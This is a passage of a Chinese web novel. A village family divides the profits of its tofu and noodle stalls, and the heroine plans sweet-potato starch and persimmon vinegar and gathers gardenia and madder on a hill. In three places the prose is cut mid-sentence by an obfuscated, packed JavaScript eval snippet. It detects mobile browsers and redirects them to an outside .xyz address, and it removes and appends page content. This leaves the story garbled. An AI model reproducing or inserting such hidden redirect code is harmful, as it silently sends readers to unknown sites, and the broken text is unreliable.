林氏拿来的糖是她娘家娘给的，平日里也就汪连能喝，今个儿她倒是大方了，敲了恁大一块红糖，打了个蛋一锅煮成了荷包蛋，叫许久没这么吃过的瑛娘也觉得有些馋了。 瑛娘笑着接了，这才教她估摸石膏的量，“此物便是富户建庭院用的石膏，烧过之后没恁多杂碎，才好和了水拿来点菽乳。” “哦哦！昨个儿婶儿就注意到了，原来这便是石膏么？成没想这建房子的东西还能拿来做吃食呢？” 林氏开了袋子往里瞅，见此物稀奇，感叹一番才掂量了一下重量。 瑛娘又道：“石膏城头杂货铺就有得卖，一百文一斤，一斤可点五十斤菽，制得一百五十方菽乳。也是因着这石膏价高，菽乳的本钱也提了不少，起初我不知这菽乳能不能成便只买了一斤，这袋里剩下的便只够点二十斤菽，这日用完，二婶可得自己去城头买了。” 林氏自是答应，借着灶里还未熄的柴把石膏烧上，闲道：“是贵！咱家那上好的大米卖去也才值当一斤五文呢！这营生费劳力不说，本钱也要得高，幸好给咱做成了呢！” 不过再贵的东西分摊下来也就几文钱的事儿，好歹这营生有赚头，还能白得一个传世的方子，将来给小老九再学学，传下去也是惠利他们这一家子。 瑛娘笑了笑没附和，与林氏说了声便回了大房陪云氏和瑾娘。 18. 拍定 云氏这一晨又出了三张绣样。 瑛娘难得这般闲，可惜屋里头没甚东西打发时间，倒叫她在屋里昏昏沉沉又睡了大半日。 临了午后，汪木匠和汪点柱牵了驴子和三房一起归家，她才与汪文、汪武凑作堆在院子里打量着驴子的热闹。 可惜这驴子今日起怕是闲不得了，落家不过半个时辰就被汪会拉着去磨浆。 三房那头清点了盈收却是有些气馁。 前个儿刚说这摊子卖不得那许多捞面，今个儿这八十碗就卖到临了还桌的时辰才将将卖完，听着别的食客说，似是东市那卖早食的饭馆子学去了，那些个愿走远些去吃的闲客便都去凑了热闹。 汪辰比他爹娘还愁，回来便又打上了兔子的主意，缠着汪文、汪武好一通磨，总归把剩下那几只兔子算进了明日的浇头。 一家子忙活许久，临了酉时，汪点德也喜气洋洋的挑着空担子归了家，一进屋就嚷着明日要多做些，却是上湾村秦老爷定了二十方菽乳，叫他明日一早便挑过去，好叫秦少爷招待同窗。 “……” 林氏愁啊！瑛娘买来的石膏只够点二十斤菽了，六十方一下就定出去二十，都恁晚了，她哪儿赶得上再去城头买那多的石膏？ 汪点德也懵，“那明日只得卖四十方了？” 他今日可是还没到大湾村就卖去一多半了啊！ “不然晚间找娘多支些钱？先买个十斤放在屋里头吧？” 十斤也够点个千五百方了，就是家头刚买了驴，怕是一时拿不出这多的一贯本钱来。 林氏倒也不信婆母手头一文不剩了，琢磨着晚些时候去试探试探，不行再日日叫儿子去城头买回来，也就劳得多费些脚程。 几房各有心思，那头汪木匠和徐氏也记挂着早点把盈收分利的事儿给家里头的都说了。 早一日说清、早一日安生。 汪木匠不希望几房子孙真有一日为劳力付出不对等闹起来，与徐氏又仔细商量了许久，临了晚食上桌，便将分利钱的事儿摆到明面儿上。 然徐氏掌家几十年，眼下一提分钱这等大事，别说几房儿媳，就是她自个儿肚子出来的几个儿子也不敢相信。 徐氏见他们愣怔，还当他们不满意这个分法儿，脸皮一时也下不来，抬掌一拍饭桌，怒道：“我和你们爹看你们忙活了田地又要忙活家里的营生，也是辛苦，才想与你们分些盈收贴补，别叫一个个嫌我把着家却抠搜！” “但，营生不同，付出劳力便不同。二房别看着三房做得轻松又挣得多，三房也别嫉妒二房白得了方子！今后二房是要给我们两老口摔盆送终的，拿了方子也是不许传到外家儿去的！” “老四，你也别算你二哥三哥能这许多，家里的田地离不得你和你大哥，瑛娘那儿兴许也还能琢磨出别的营生，你和你家里的若有什么想法也能与家里说说，若能成，就铆足劲儿去做，家里能帮扶的，你二哥三哥也不会舍不得。” “也别望着我和你们爹给瑛娘那点儿！老二家的，老三家的，你们摸着良心问问，平日自个儿待瑛娘如何？好不好跟她怨？” “家里头现在做着的营生都是瑛娘琢磨来的！挣多挣少，都是瑛娘给我们两老口的孝敬，我便给她点儿又如何？我这儿给出来的这些，有你们屋里的小子这些年花用的多吗？兴不得老娘做主自个儿的钱是不？！” 老人发了火，便是心头不爽也得憋着。 更何况几家儿还真没往瑛娘得的那点子份额看，毕竟都是算得来账的，能不知道便是分她那点儿又值当什么？ 四房的心许还会忧着整家儿就他们吃亏，没从家里头得来什么挣钱的营生，可汪文、汪武心思纯善，也没经过事儿，自然不会因着爷奶分自个儿的钱来怨一个妹妹。 这家里头谁没眼看着这几个姐姐妹妹过的什么日子？真计较起来，他们脸不脸热？ “娘，我们怎么敢？” “是啊娘！一家人怎么好外道？” “奶，你和爷就安心吧！我们都是亲兄妹，怎么会计较这些？况且那本来就是该瑛娘得的！” “爹娘为着我们想，我们哪儿会嫌少啊？既然都是瑛娘的孝敬，爹娘就自个儿收着吧！我们都在家里头吃喝，哪儿值当用什么钱？” “……” 忙着表心意的一时全蔫儿了。 汪点柱就是个榆木脑袋。 那钱也是点了名给瑛娘的，有着你大房什么事儿？难不成还能全给瑛娘缴了啊？你敢吗？ 徐氏“哼”了一声，倒没顺着汪点柱的话真将分出来的盈收给免了，只看几个埋着脑袋的媳妇儿，继续道：“瑛娘心头也是记挂着你们几个婶娘的，她打城头买了些布头，你们闲了就绣几个花样，好叫老二卖菽乳时捎带着卖去十里八村的。那钱我不要你们的，挣多少都是你们自个儿捏着。只消按量给瑛娘本钱和辛苦钱，瑛娘要的也不多，一方三个钱，那布头可不是咱们随便能见着的那种素帕子，你们自个儿打量着那值不值当三文。” “四娘，你也别整日闷在屋里头，怀着孩子得出来透气，要是觉着闲了也找你七妹妹拿方帕子绣着玩儿，你当家的能挣着钱，帕子绣了留着用也成，卖也成，全看你自个儿的。” “吃饭！吃了该干嘛干嘛去！从明日起，每日挣来的钱记得算好账给分好三份儿，该给我的，给瑛娘的都在账上记好，别搞忘了！” “念着营生需得本钱，这个月余下十来天的本钱便由公中给你们出了，从下月起，卖多卖少由着你们自个儿定，但麦、菽、鸡你们得按价给公中补上。只一点，万莫贪多，别毁了自个儿的营生再后悔！” “行了！这事儿就这么定下了，没得恁多闲话说！” 能摸着真真儿的银钱，二房三房只觉浑身都是使不完的劲儿。 可惜手头的营生忙活一阵儿也就结了，林氏和陈氏睡不着，便闲得在屋里头盘算着该如何多挣点儿才好多分些。 三房自是汪辰为首脑，他想多弄几样浇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859773|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，这样揽下食客，总归不能像今日这般忧着人哪日全跑了，盘算完又规劝他娘捞面时别抠搜，汤该给足就给足，火候也别太过了，免得面条捞了没多会儿就糊了，叫吃得慢些的食客觉着不够劲道。 陈氏这两日确是想着面条多煮会儿看起来更多些，闻言只得点头，也是怕自己做过了头影响了来日自家的盈收。 二房里头林氏却是和汪点德盘算了起来。 按瑛娘教的，十斤菽需得配三两石膏，这几日菽乳卖得紧俏，他们可趁着时机多做些来卖，大不了汪点德和汪会辛苦些，都挑了担子往十里八村的走，晚间一家子再合力把第二日的磨出来。 那这月余需要的石膏便可叫公中给他们贴补，就是不知道徐氏得不得觉得他们心重。 “还是没什么的吧？大不了这本钱算作借的。” 菽乳可不似那面条谁家都做得出来，要是不抓着巧打响名声，将来还得多费那些力才能叫十里八村的知道这菽乳在他们大王村老汪家也能买着。 徐氏想了想，觉着是这个理儿，便咬着牙道：“那我一会儿找娘说说去。” 对于二房两口子的心计，汪木匠和徐氏都是了解的，便是猜到了林氏找上门，不过这便宜也不好全叫二房占去，汪木匠便按住徐氏，自个儿与林氏透了底，“先头家里欠着饥荒你该也知道，这回给你们出本钱，也是先亏了我与你们娘的棺材钱。买驴的钱也是找你舅爷家借的，拢共八贯，所以本钱可以不计较，这驴子的钱却得你们自个儿还，毕竟这驴买了是做你们的营生，不好再叫其他人管。” “……” 林氏是忽略了这茬。 不过汪木匠说的在理，为着今后能多挣，这驴都归他们二房也是应该。 林氏点头应下，汪木匠便叫徐氏取了一贯钱来，“这贯钱别叫你三弟家的知道，他家的营生我可只帮补了麦。” 一贯一吊。 林氏正偷摸往徐氏的钱匣子里看，见里头只有一堆零散铜板，再拿不出另一吊来，登时清楚这家里头当真没得余钱了，全得靠着今后营生再积攒。 “多谢爹娘，我和当家的也是想着先把势头做起来，过了这风口，自然还是稳妥着来，每日磨个二十来斤菽便够了。” “你们晓得就行。” 林氏拿了钱回去，与汪点德又是一通畅想。 另一头四房屋里却是沉静。 汪点水难得话多了几句，只问何氏还绣不绣那帕子，若是绣，他再去城头给她买来新的彩线。 何氏少言，说话也是轻声细语，闻言意动，眼神也有些闪烁，“好叫爹娘知道咱们藏了钱吗？” “几十来文，就说是你的嫁妆。” 何氏闷声不答，许久才与汪点书说瑛娘，“她竟会染彩……那可是西市的大掌柜才会的秘技。你说，她怎么突然会的恁多？” “……管她的。只要不做大，染几方帕子而已，总该不会引来那些人误会你。” “……好。” 19. 柿子 各房的热闹瑛娘管不着。 明日起便能开始积攒自个儿的银钱，瑛娘索性趁着瑾娘睡着，躺床上开了仓来挑适合做钱箱子的木盒。 这些木盒是她与一世好友换来的纯手工木艺品，木料用得极好，雕了花儿，还刷了大漆防蛀，最适合装点精巧的小物。 起初她都是用来装珠子和糖块，后头珠子耗得差不多了，糖也送了些出去，这些盒子自也就空下来了。 瑛娘从中挑选了两个，一个外头配了锁，刚好一个用来锁碎银子，一个体量是其三倍，便用来积攒铜板。 这时候只有银楼没得银户，铜板实难收点，若时运不好遇上个王权更迭，还少不得要将铜板返回衙门以待朝廷重铸。 瑛娘琢磨着攒够十两的就去换成银锭，既好收捡，也免了到时麻烦，就是不知如今这兑税几何，还得等这一批手帕绣来卖出去才好再去城头打听。 好歹选好了钱盒子，瑛娘将此前剩下的三百八十文钱存进去听了个响儿，这才收了仓，闭目思量下一个营生做什么好。 除开家里头的女眷，大房还剩个汪点柱一口劳力，四房倒是还抽得出三口。 眼下这时节山果丰收，得先紧着收集栀子晒干存备，汪文、汪武怕是一听上山就乐得帮忙，汪点柱和汪点水却不好凑这个热闹，且这个活儿于他们而言不过是“耍”，要想把这一家子都安排妥当，还得再寻个他们兄弟二人能做的。 大王村所在地界应还盛产梨子、柿子等山果。 梨子自能熬制梨膏，无论做饮子亦或点心都好，但糖价过高，除非能先找到甘蔗先熬得糖来，不然这梨膏只能供给富户卖个稀罕。 要么只能发些麦芽和米制成麦芽糖。 然则麦芽糖并不纯澈，做起来也是很费功夫，有那时间不如直接买了糖来做富户专供，好歹能挣些辛苦钱。 做不来糖，果脯蜜饯也只能观望，城里头毕竟不缺这些个甜嘴的东西，自不必多想这等营生了。 吃了这些甜点，柿子倒也可以酿醋，技法简单，就是耗时过久，便是眼下入缸窖藏也得待来年才能酿成，而醋越藏越香，醋价也堪比糖饴，寻常人家基本吃不得，若真做成了，最好直接供给城头酒楼，自不必担心销路。 除了山果，贱价的番薯也能谋出营生。 番薯打细洗淀，晾晒成粉，和水架锅热烫可制粉皮，这粉皮并不清透，但切了条炖汤炖肉都甚是好味，亦可直接保留粉状备存，待要吃时调了粉糊来打湿粉吃。 薯粉亦无需任何添加，纯耗劳力即可做成，就看汪点柱和汪点水愿不愿合作这一门生意。 还有酱油、藕粉、酒糟、腌笋…… 嗯…… 想来尽都是吃食的营生。 倒还能造纸、制墨，调配女子眉黛、胭脂、口红、妆粉，日需澡豆、猪胰皂……可惜眼下顿顿好肉都够呛，还是先琢磨着把身体养好了，攒些本钱再说吧。 瑛娘砸吧了两下嘴，挡不住睡意袭来，翻身睡了过去。 一日初始，二房三房便为着充盈自家钱箱子卖力。 瑛娘只管坐等收钱，睡到早食上桌，佐以鸡蛋伴粥，吃得肚饱身暖，才悠哉哉拿了云氏绣好的花样去叫何氏与小林氏看。 何氏这些年虽忙活着家里的活计，手头的针线功夫也没落下，云氏的花样子于她倒是简单，只看过，便从瑛娘染好的布块里分得五块丝绢、二十块棉绢。 小林氏自觉手艺没那般好，便也只取了五块丝绢、十块棉绢。 她们选过，云氏自然只剩六块丝绢并十块棉绢可绣。 瑛娘不欲因着低廉的盈收叫她三个伤了眼睛，只说一旬染一批，叫她们不必连日赶着绣完。 “……可否等这帕子绣好卖出去再与你结算。” “自然可以。” 女眷这边活计轻省，瑛娘扭头又去找徐氏盘算薯粉做不做。 听得还有营生，徐氏自然满口赞同，可惜家里头除了那角碎银，她手头就只有几百枚铜板了，要着营生动不动还得一两百文本钱，她还真不好帮着盘活。 “好瑛娘，且先与奶说说那是个什么营生，该如何做，本钱需得多少？” “不需得多少本钱就能做成。只需用番薯，家里还有吧？” 一百斤番薯约摸能出二十斤干薯粉，算上本钱、劳力、耗时，一斤卖个二十文就成。 三房若想挣这份钱，一斤薯粉调了糊打个十碗湿粉捞了吃，一碗便是卖个四文也能翻了倍来赚。 徐氏却是想不出那粉皮粉条究竟是何东西，“怎的还有湿的、干的？粉皮、粉条？” “干的自是方便存备，要吃了再打了干粉来调糊制粉皮或细粉。细粉自是类同面条，却比之劲道，粉皮么，切了宽条炖个肉汤也好。” “却是没见过城头有这东西……” 这十里八村的，便是他们这些个农户也少吃那番薯，倒是听着下来征收税粮官差说，这等填肚子的都是种来惠济贫农的，好叫那些闹灾的地方不至于遍地饿殍。 但如此贱价的东西，想来城头的那些叼嘴的更不喜得这玩意儿，便是做了又能挣来多少盈收啊？ 瑛娘见徐氏兴致不高，倒也没觉着如何。 这薯粉一做便是独一份儿的东西，还不全靠她这个捏着方子的人叫价？ 何愁挣不来钱？ 但总归只是一些入口的吃食，盈收也得把着良心，若狠了心只把做来的东西销给富户去，她能做的又何止这些？ 还不是为了稳妥！ 这年代雇凶杀人的可不容易被抓着，几文、十文的挣也不磕碜，积少成多，总归有她快活养老的机会。 “奶，这薯粉外头没得人做，咱家做了，便是一斤卖个二十文、三十文应也有人买。” 徐氏不信，撇了撇嘴，道：“不就是番薯，人家花一文钱能买两斤了，何必买你这贵价儿的。” “那别人要是看不出来那是番薯呢？” 徐氏愣怔，半晌才吁了一口，暗道今个儿怎么想差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868134|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 瑛娘讲的营生眼下可都在往家里头挣钱，反正那番薯放在家里头也是一家子吃了，便叫她拿去折腾又如何？ “家里头还有百来斤，要么你拿去做？” “那奶叫爹和四叔把番薯挑去河里洗洗干净，再剁细了放缸里，实在不知道如何剁，拉了驴子去推磨也成，晚些我回来再教了爹和四叔如何做。” 徐氏可听不得“推磨”，伸指推了一下瑛娘，笑骂：“好罢！就你惯会支使人！不在家待着又要去哪儿耍？” 瑛娘盈盈一笑，又与徐氏点了汪文、汪武，道：“这月余山头野果熟得多，我还得跟五哥六哥去山头再摘些栀子回来晒着。就是不知道那山头有没有柿子？若能得了柿子，摘回来又能多一门营生。” 徐氏还真知道那柿子何处有，想了想，只问瑛娘要得多少。 这柿子醋酿一年才算成，既要做，自是一次多备些。 瑛娘估摸着酿得一百斤需得多少柿子，张嘴就要徐氏备上一千斤。 “……”徐氏直想敲一敲瑛娘的脑袋，“奶的好瑛娘呀！你可知那一斤柿子多少钱？山头有没有野柿子奶不知，但秦老爷那林子里的柿子却是要价八文，你这一千斤是要奶的老命啊！” “……” 竟是这般贵价儿吗？ 她还想着酿个两百斤来年卖，再留个五十斤自个儿吃呢。 瑛娘叹气，只得算了，“那这营生不做了，先叫爹和四叔做薯粉吧。” 下回去城头也打听下醋价，若有赚头，也不是非那柿子才可酿。 “我去叫五哥六哥上山耍啦！” “去吧！去吧！” 汪文、汪武逮来的兔子，没吃的全被汪辰以二十五文一只给包圆儿了，只待杀一只给一只的钱，听得瑛娘又要上山，登时丢了逗兔子耍的芦菔缨子，背着篓就要出门。 瑛娘一手拽了一个，好歹把人拉住，赶紧指了指锄头铁锸叫他们带上，“前头我们怕是把那一窝子兔子吓得一时不敢回窝了，得往旁边的丛里掘几个陷阱，那陷阱也不拘兔子，指不定还能套着野鸡。哥哥们能不能多叫几个朋友一起上山？我还得再摘些栀子果回来，咱几个怕是忙不过来。” 两兄弟又不是蠢人，一听便知重点。 汪武点着瑛娘脑袋，直指她的算盘，道：“摘果儿就摘果儿，还唬我们是去逮兔子捉鸡的？” 汪文也跟着好笑，不过在家闲着无事，管她是要摘果儿还是逮兔子都成，问她：“一路走过去就能叫上，只是要不要带干粮？” “带吧？今日回来晚些也不打紧。” 今日在丛里行走多半得费些时间，挖陷阱也费事，能带上干粮自然是好。 不过这几日家里头虽没再拘着老小的嘴，可灶头上都是按人头做的，找不着剩饭、剩菜，汪文干脆摸了几个番薯背上，又拎了个兔子一棍子打晕塞进了背篓。 “妥了，等新逮了兔子再给三哥补上。” “……” 也行叭。 20. 山果 大王村拢共六十八户，老汪家建房于从村尾，一路往夕山小径走去便得路过三十来家儿。 这几日老汪家买卖做得热闹，村头少不得那传话的将这闲反复聊来，这会儿瞧见瑛娘与汪文、汪武三兄妹背着背篓又要上山去寻摸，一时更是聊得起劲，直言道老汪家是要自贱转去做商户了。 士农工商，商排最末。 然商人地位并非完全按籍来算，谁不知那城头多的是农户遥不可及的商籍富户？ 瑛娘心头门清，汪文、汪武也是懒得管闲的，只顾叫上素来交好的小子，各拿各家的锄头、铁锸，一并朝着山头迈进。 临了山脚，便是不算瑛娘，这一列小子也多达八个。 瑛娘一个也叫不出名来，又得避着些闲，只好走在汪文、汪武中间儿，叫他们自去管着这些人不要乱跑。 汪武不甚在意，闻言便拍胸向瑛娘保证：“瑛娘只管放心，这些个兄弟都是在山头跑惯的，便是不走山道也丢不了！” 那些个小子听罢也连声保证自己走不丢，又不去深山，他们人多，便没甚好怕的。 瑛娘不好多言，见他们一路走来虽玩笑打闹，却也时刻注意打草赶虫、留备记号，便收回了关注，紧跟着汪文往前走。 等进了林子，瞧见矮丛渐多，汪武记挂起临出门前偷摸拿来打样的栀子，连忙拿来了出来叫他们看看，好帮着瑛娘找果儿。 这些个小子确是常往山里头钻，其中两个一见那橙黄果皮便认出这是城里头药铺在收的一味药材。 “找这果儿作甚？二十斤也只卖得三个铜板，有那功夫，多去打两只兔子都值了。” “是啊！前年儿我摘了两百斤果儿，又费大劲背去城头，那药铺掌柜还嫌我没晒干呢！汪家妹子，你若想摘了去卖钱，那哥哥真劝你算了。” “……” 瑛娘不懂市价，但栀子不止有药用价值，做吃食也可用其着色，更别提染布、制颜料，如何也不该只值一文六七斤吧？ “诸位哥哥，这果儿于我有别的用处，你们若是晓得哪处有，只管摘了找我换钱，新鲜的一文五斤，干的一文两斤。” “汪家妹子，你没说笑吧？眼下正是那果儿成熟时，要把遍山的果儿摘个大半来，怎么也得有个五六百斤了，你当真吃得下？” 五六百斤新鲜栀子晒干了能有两百多斤，只做颜料也能提取至少四十斤色粉，再加胶、油固形，制成彩墨墨条，便按一两重来算，也能制得四百条了。 而四百条彩墨，仅丰县城头的书肆多半吃不下，最好能找到外地的行商带去外头销，然单色彩墨实属鸡肋，要么再配上茜草制得茜色墨条、蓼蓝制得花青墨条一起销出去才不显单调。 就是一时半会儿没恁多本钱，还需自制胶和油…… 好在这栀子晒干了也好存备，茜草根也能炮制了备用，就是蓼蓝只取当季，待得明年才好动手。 大不了收了栀子再染些鲜亮的布料，总归年轻，就得穿黄。 打定主意，瑛娘自然应下了交易，“便以五百斤鲜果儿为限，只是我家里头没恁多地方晾晒，届时还需哥哥们帮着我晒过。” 晒干再交易还能多得几十个钱，几个小子登时乐了，连声答应帮她摘果。 “一会儿找个地方先把陷阱挖上，我晓得哪片林子那果儿多，今儿个就先摘些回去晒着。” “汪家妹子可还有别的东西要我们帮忙寻摸？” “还有一种草根儿也需用，一会儿瞧见了我与你们指了认认。” 上回发现茜草正与栀子丛重叠，瑛娘一路跟着队伍去挖好了三个一米见方的陷阱，才绕道又行了半个时辰，找到了那两个小子曾摘过栀子的地界。 此地一眼望去遍是栀子丛，橙黄的果儿坠着枝头下沉，八个小子挑着那色重的摘，没多半晌就各摘了半篓。 “其他的还得再养养，没熟透那药铺也是不要的。” 他们不知瑛娘拿这果儿作甚，总归都得熟透了才好，自然不急这一时将果儿全摘了。 瑛娘自是没得意见，又打了打草丛，挑出了攀援的茜草与他们看，“此草的根儿也是一味药材，晒干了好存。只是晒前得先淘洗过，晒时便需得注意别捂着坏了。” “这不是苦根儿吗？” “是了！我瞅见城头的老郎中还拿这草根儿治过病呢！” “这东西不难找，山脚林子里也有，就是得绕到隔壁村头再往上走，咱们这方儿没得。” “洗了再晒也没恁麻烦，我送那果儿去药铺，还瞧见药童烧了土炕盖了棉被给烘呢！” “嗐！那果儿能烘干不？要能烘干也不麻烦晒了，听我爷说这几日瞧着快下雨了。” 一场秋雨一场寒，只待一旬便要入冬。 瑛娘琢磨着此二物又不做药用，便是失了些许药性也无妨，总好过受了潮全废了，当即点头应了，道：“那干草根儿便与你们算一文四斤，以八百斤为限，若这银钱你们不着急花用，待收齐了我再一并与你们结算。” 谁家半大的小子能自个儿揣着钱随便用？ 在场的除了汪文、汪武不掺和，其他六个都盼着这次摘果儿挖草藏些私房来过年花，自然不急着这一时半会儿将钱拿过手，倒叫家里头发现缴了去才没地儿哭。 “妹子你就先帮我们攒着吧，趁着这些个儿日子往山里头来，我们还得多套些兔子好卖了分钱嘞！” “是啊！汪家妹子，你要是在这山头呆不惯，只叫阿文、武子跟我们一道就是，你自在家闲着，要什么只管支使他们跟咱讲！” 瑛娘还真想找点山果尝尝味儿，想罢便道：“那你们瞧见山果也摘些，不拘什么果子，只要滋味好就成。” “这山里头果子多的是！春日里头有山樱桃，五月里头有山桃，我还知道哪儿有野柿子呢！就是不知这会儿那枝头还有没有，该是全熟透了。” “哈？你小子好哇！瞒着我们摘了柿子？！” “我还没吃过柿子，是上湾村秦老爷家种的那果儿吧？味道咋样？” “我吃着涩嘴就没多摘，后头也是忘了这回事儿，可不是故意不告诉你们！” 瑛娘没料到这一趟上山还有意外之喜，当即就想去找野柿子，“柿子晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876362|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟，便是十月底也能吃着。要么我们现在去瞅瞅？” 那摘着柿子的小子却连连摇头，只道：“那柿子树在崖边，可不好带你过去，明个儿我们带了长杆儿再去勾着枝丫摘，妹子你就在家等着吧！” 汪文、汪武听罢也不愿瑛娘凑这热闹，虎着脸不许她犟，“明儿个我们去瞧，有柿子自然摘回去给你尝，可不好叫奶知道我们去崖边，你在家头也莫说漏嘴了。” “崖边可开不得玩笑，叫奶知道我们带你去，非得叫爷给我们一顿好揍。” 如今家里头便是小老九也比不得瑛娘，他们两个还是莫要触爷奶霉头了。 犟不过，瑛娘只得听了，“那柿子与你们算五文？” “嗐！柿子还算什么钱？那崖边便是还有柿子，顶多也摘得来三四十斤，那等野柿子可不是秦老爷家的香柿子，哪儿值当你给钱的？” “就是！那果儿、苦根儿收你钱是因着你要得多，这柿子四五个就得一斤，咱哪好意思收你钱？” 三四十斤柿子也能酿得十来斤柿子醋了，眼下他们不愿收，瑛娘却不好真不给，索性年根儿里头发些麦芽来熬糖，再各家送点算作答谢便罢。 “成了！这片儿差不多了。先去瞅瞅陷阱，再找处开阔地随便垫吧两口。” 村头的小子们上山，要么运气好找着野物烧来吃，要么忍着饿回家再去灶间找。 瑛娘和汪文、汪武带的番薯却是不够九张嘴分的，好在今日这运势大抵是不错的，刚打的陷阱，只一个时辰就落了一只野鸡并两只兔子进去。 几个小子欢呼着将正啄兔子的野鸡砸晕，又捞了兔子就地杀了，这才圈了一堆土来架着柴点火，好叫带刀那小子把兔子剥了剖好用树杈子串着烧。 另一家的小子更是准备全乎，待得那兔子烧得出油，从兜里取了盐包来均匀细撒，好叫那滋味更浓。 “阿文、武子，你家三叔三婶不是要这鸡去城头做营生？不如带回去帮我们卖了，就算你叔婶便宜价，四十文？” 汪文、汪武也不确定这野鸡炖来能不能成，想来四十文已是极低，索性应了下来，“那这野鸡我们带回去，卖得钱也过年了再分？” “成，总归咱还能多上山几回。” “要分钱，那下回兔子也别吃了，咱自己带干粮，把兔子都留了卖钱！” “行！” 然眼下这两只兔子着实不太够，便是瑛娘分了整条兔腿也没太吃饱，索性把带来的兔子一并杀了烤上，又烧了番薯全乎分了。 “这番薯烧着吃竟是甜的！这烧出来的是糖吧？” “要么今年我们再去城头卖卖番薯？烧好了卖，一文一个，应当也有人买？” “哈哈！阿文、武子，你们兄弟两个现在真真儿是钻钱眼里去了！” “那钱挣着可都归我们自个儿，怎么就不能挣了？” “瑛娘你说呢？” 瑛娘自是不去的，她可不想来回走两个时辰才就挣那几文分利，头也不抬揶揄道：“五哥六哥能一路背我去城头么？” “……” “哈哈哈！” 21. 薯粉 这一日运道极佳，加上被吃掉的两只兔子和那只被砸晕的野鸡，汪文、汪武八个小子今日现挖的陷阱拢共套来了八只兔子、三只野鸡。 临了下山，瑛娘又在矮丛里发现了些能吃的浆果，采了用阔叶包上，待得他们把陷阱全部重新归置过，才一路吃着酸甜口的浆果归了家。 晨间面摊的生意也是火热，三房带去的烧兔子愣叫多卖了五十来碗捞面。 也是汪辰胆子大，非拉着云氏帮忙多搓了五斤面团，不然今日这营生怕是做不得一个时辰就要收摊。 挑着菽乳往上湾村去的汪点德也一路没怎么耽搁，昨个儿瞧着热闹却没买着的都在秦老爷宅子附近耍，今日一见汪点德便围了上来，好说歹说才叫汪点德先送了秦家的，不过晌也就销得只剩两方。 汪点德心头记挂着白膏，想着早买早做，索性挑着担将两方菽乳送去了舅家，蹭了一顿午食便直接从上湾村去了城头。 待瑛娘归家时，家里头已是算过今日的账，徐氏自是乐得呲着牙花与她分了今日的一百三十六文，被浆果酸得一哆嗦，才皱巴着脸直道不吃了。 “你爹和四叔都把番薯宰好半晌了，要么先瞧瞧？” 离晚食还差着时辰。 瑛娘今日也算吃得不错，估摸着晚食前能第一遍洗出来，便叫了汪点柱取来细筛和木桶，一路去井边看他们宰细的番薯。 汪点柱和汪点水两兄弟为了宰细这番薯很是废了一通气力，不过再是反复，用刀也宰不出机打的效果，瑛娘只得又叫徐氏取来三方细布，取其一垫在案板上，舀了番薯细块至上，又覆一层，才和水滤，以面杖捶打出浆，再不断加水冲洗。 “四叔，拿桶来垫上细布，接着洗浆的水。” 汪点水不多言语，见她刻意倾斜了案板，便将桶放至案板流水正对处。 然瑛娘的臂力终是被身体的羸弱限制，敲打一遍便果断甩手给汪点柱，等他全部敲打完包好的薯块，才取了细筛来将锤好的薯渣一并倒了进去细筛架在另一只桶上水洗。 水洗过的番薯渣也能喂鸡，瑛娘不好自己搬动，便叫看热闹的汪武搭把手，和布挤出更多的水分，才拎了布包去喂给山头带回来的野鸡。 徐氏还当做粉条的是那洗过的薯渣，好一阵“哎哟哟”，待汪点柱和汪点水洗过全部薯块，才抻着脖子探看那满满三桶粉白的水，“闻着可怪。” 徐氏瞧不出这水能作何用，扭头见瑛娘洗手理衫，这才惊奇道：“瑛娘呀，这就算成了？” “需得放置两个时辰，吃过晚食再做。” 眼下已是申时四、五刻，吃过晚食不消多会儿就能洗第二次。 不过这日在山头转了几个时辰，又没歇晌，眼下瑛娘已是困顿非常，洗过手便回了偏间儿，便是徐氏想拉着她摆摆闲也没得机会，只好扭头去看汪文、汪武套来的兔子和野鸡。 “咱这夕山头就恁多兔子？” “可不嘛？奶，你说咱家多逮些兔子养着如何？回回去山头都能瞧见许多兔子，想来这兔子是好养，先个养家里的光吃芦菔缨子不也养好了吗？” 要在家头养兔子，林氏第一个不干，“家里可还做着菽乳呢！这院儿里瞧着还得多一门吃食的营生，这要整日串味儿，叫别人以为咱家做的吃食不干净可怎么弄？” 汪文、汪武：“……” 两兄弟只得弃之不提，拎了笼子放到了院角去。 瑛娘一觉睡醒，晚食已是端上了桌。 家里的番薯都打了浆，徐氏自是舍不得蒸白干饭，这一餐便吃的熬得浓稠的稀饭。 白日里在山头吃过兔子，瑛娘也觉油水足了，便没多言语，就着酱菜吃过。 两个时辰也不待多久，瑛娘陪着云氏绣帕子，只待这一方绣完，徐氏便来敲了窗。 “娘，姐姐，你们也出去走走，晚间都坐了许久了。” 